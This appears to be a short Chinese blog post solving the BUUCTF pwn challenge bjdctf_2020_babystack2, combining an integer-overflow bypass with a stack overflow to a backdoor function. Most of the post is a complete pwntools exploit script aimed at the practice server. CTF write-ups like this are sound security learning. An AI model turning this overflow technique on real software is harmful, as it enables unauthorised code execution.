0%

buu每日一题(2)

bjdctf_2020_babystack2

简单的,首先通过整数溢出绕过检查,然后栈溢出,存在后门函数,直接执行即可

image-20210506201527291

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

p=process("./bjdctf_2020_babystack2")
p=remote("node3.buuoj.cn",28526)

context.log_level = 'debug'
context.arch = 'amd64'

backdoor = 0x000400726

p.recvuntil("name:")
p.sendline(str(-1))
p.recvuntil("name?")
payload = 'a'*(0x10+0x8)+p64(backdoor)
p.sendline(payload)
p.interactive()
Q:如果阅读本文需要付费,你是否愿意为此支付1元?